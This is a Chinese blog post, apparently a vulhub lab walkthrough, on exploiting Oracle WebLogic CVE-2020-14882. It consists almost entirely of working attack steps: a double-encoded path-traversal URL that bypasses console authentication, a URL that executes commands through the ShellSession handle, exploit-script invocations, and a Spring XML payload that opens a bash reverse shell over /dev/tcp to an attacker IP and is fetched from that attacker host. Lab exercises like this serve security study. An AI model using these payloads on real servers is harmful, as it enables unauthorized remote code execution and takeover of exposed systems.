weblogic漏洞——CVE-2020-14882

发布于:2024-08-16 ⋅ 阅读:(131) ⋅ 点赞:(0)

一、基本信息

靶机:IP:192.168.100.40

二、攻击过程

进入 vulhub 靶场相关目录,并启动环境

cd master/weblogic/CVE-2020-14882
docker-compose up -d

   

绕过登录验证

http://192.168.100.40:7001/console/css/%252e%252e%252fconsole.portal

   

上传脚本

http://192.168.100.40:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/111.txt%27);%22)

   

进入 docker, 并检查脚本

docker ps -s
docker exec -it d80e4196fdc9 bash
cd /tmp
ls

   

运行脚本

python CVE-2020-14882_ALL.py -u http://192.168.100.40:7001 -c "whoami"

   

反弹 shell

方法一:

python CVE-2020-14882_ALL.py -u http://192.168.100.40:7001 -x http://192.168.100.60:1234

方法二:

在 web 服务器中写入 xml 脚本

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.100.60/7777 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

   

浏览器访问


	http://192.168.100.40:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.100.60/poc.xml%22)

   

作 者:PeiyuJue
链 接: weblogic漏洞——CVE-2020-14882 – Candid Chronicles
来 源:Aaron的博客
版 权 声 明:本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有,未经允许请勿转载! 


网站公告

今日签到

点亮在社区的每一天
去签到